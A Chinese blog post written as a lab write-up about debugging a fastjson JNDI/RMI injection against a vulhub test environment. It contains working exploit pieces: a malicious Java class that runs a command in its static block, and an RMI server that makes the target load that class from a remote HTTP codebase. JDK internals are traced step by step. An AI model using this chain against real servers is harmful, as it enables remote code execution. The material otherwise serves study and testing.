目录
前言
恶意类代码：
RMI注册中心以及服务端代码：
问题一：
问题二
调试
问题三
总结
前言
之前分析了fastjson的jdbcRowSetImpl利用链之后当时也是手写了所用的代码并测试，这里面包括rmi注册中心及服务端还有POC代码，在本地测试成功后我在虚拟机中用vulhub启动了一个fastjson漏洞环境进行测试，但是出了问题，记录一下排查问题的过程。
恶意类代码：
public class rmiEvilClass { static { try { Runtime.getRuntime().exec(new String[]{"touch","/txt"});//在根目录创建一个txt文件夹 }catch (Exception e){ e.printStackTrace(); } }}
RMI注册中心以及服务端代码：
import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class rmiServer { public static void main(String[] args)throws Exception { String evilClassurl="http://192.168.1.254:8081"; Registry registry= LocateRegistry.createRegistry(1099); Reference reference=new Reference("rmiEvilClass","rmiEvilClaaa",evilClassurl); ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference); registry.bind("hell",referenceWrapper); }}
乍一看没什么问题。。。
问题一：
首先是命令没有执行，当时猜测了很多原因网络不通，端口占用，防火墙，但是一一检测都没有问题，后来没办法只好抓包了，打开抓包有很多arp在找192.168.1.1的地址，这个就不管了 not arp过滤掉，然后开始我们的请求，这里没有截图，在wireshark上只看到了我们向fastjson服务所在端口的发送payload的http报文，以及tcp建立和断开连接的报文，并没有rmi报文。
我的rmi服务端都没什么问题为啥没报文，这里在网上也找了一会，但是相关内容不多，很多复现都是直接利用工具创建的rmi服务。
后来我在反过头看JNDI原理解析的时候，突然想起来，我为了方便把恶意的.class文件和.java文件都放在了运行RMI服务端代码的包下面了，http服务也是在这个文件下面启动的，那这样这个文件不就在CLASSPATH里面了吗，就不会远程调用类了。
在本地测试之后果然是这个问题，我只要修改.java文件就能改变执行的命令，通过python启动的http服务也没有请求记录，我把两个文件放到了其他文件中去时我就可以看到请求记录了。
本地测试截图：
但是第二个问题来了：没有请求路径，这说明没有去加载远程恶意类
问题二
没有请求恶意类，又去检查了代码还是感觉没啥问题，为啥不请求恶意类呢？在这里卡了半天在想原因，最后没办法只好调试一遍代码了，之前学jndi注入时也分析过原理了但是没记录下来，这里就当做复习吧。
调试
initialContext.lookup()
public Object lookup(String name) throws NamingException { return getURLOrDefaultInitCtx(name).lookup(name); }
getURLOrdefaultInitCtx()
获取用来解析字符串名称 name 的上下文。如果 name 名称是一个 url 字符串，则试着定位一个用于该字符串的 url 上下文。如果没有找到这样的上下文，或者 name 不是一个 url 字符串，则返回 getdefaultinitctx()。
getURLOrdefaultInitCtx().lookup()
public Object lookup(String var1) throws NamingException { ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//var1:rmi://127.0.0.1/evil Context var3 = (Context)var2.getResolvedObj(); Object var4; try { var4 = var3.lookup(var2.getRemainingName()); } finally { var3.close(); } return var4; }
这里会通过this.getRootURLContext（var1,this,myEnv）获取到rmi注册中心和远程调用的name
然后var3.lookup()就是通过获取到的注册中心来获取远程调用对象
RegistryContext.lookup()
public Object lookup(Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext(this); } else { Remote var2; try { var2 = this.registry.lookup(var1.get(0));//这时通过注册中心的lookup就可以获取到我们绑定在注册中心的类了 } catch (NotBoundException var4) { throw new NameNotFoundException(var1.get(0)); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this.decodeObject(var2, var1.getPrefix(1)); } }
接着调用RegistryContext.decodeObject去解析这个类
private Object decodeObject(Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this, this.environment);//远程类实现了RemoteReference接口直接return } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }
NamingManager.getObjectInstance()部分代码
if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively factory = getObjectFactoryFromReference(ref, f); if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); }
这里获取了reference实例中的的工厂类名，就是rmiEvilClass，之后获取工厂类，这里还没有请求恶意类。
NamingManager.getObjectFactoryFromReference()
static ObjectFactory getObjectFactoryFromReference( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class clas = null; // Try to use current class loader try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } // All other exceptions are passed up. // Not in class path; try to use codebase String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null) ? (ObjectFactory) clas.newInstance() : null; }
首先会在本地的CLASSPATH中找之后再 到去远程的地址中去找这里helper是VersionHelper12类
这里lookup是两个重载方法一个在本地查找一个查找远程
public Class loadClass(String className) throws ClassNotFoundException { return loadClass(className, getContextClassLoader()); }//本地public Class loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }//远程 Class loadClass(String className, ClassLoader cl) throws ClassNotFoundException { Class<?> cls = Class.forName(className, true, cl); return cls; }//最终都会调用这个类传入ClassLoader,远程
最后远程加载类
到目前位置都没有什么问题，也使用FactoryURLClassLoader去加载远程工厂类了但是为什么还是没有路径呢？
想了一会，我想cl作为加载类应该会存着远程加载路径，我决定去看一下FactoryURLClassLoader内的数据，这里又去百度看了一下这个FactoryURLClassLoader类里属性及方法的介绍，知道了ucp属性存贮着类和资源的搜索路径。
可以看到这里的路径,我觉得也没什么对啊，反复了调试几次又陷入了沉思。
后来也是灵光一闪，一般调试这些类我都会猜测一些功能是怎么实现的，我在想这个路径应该会拼接上rmiEvilClass.class然后发起请求，这里是不是缺一个”/“?是不是我之前写rmi服务端的代码没有写反斜杠？
一翻看代码果然没有，再去看网上的POC果然别人都有反斜杠，先试一试吧，修改了rmi服务端的代码重启rmi服务端，然后本地测试。
String evilClassurl="http://192.168.1.254:8081";
成功了！！！！！！！！！！！！！！
虽然这只是因为一个反斜杠没写导致的问题，但当找出问题的根源时感觉真的爽。
问题三
但是测试过程中本地的测试代码报错了。
这个简单就是编译和运行的Java版本不一致,我编译用的本机java8，IEDA的是java7
重新编译并测试：
总结
这次一晚上加一上午的问题排查最终的结果是因为一个反斜杠，收获还是有不少的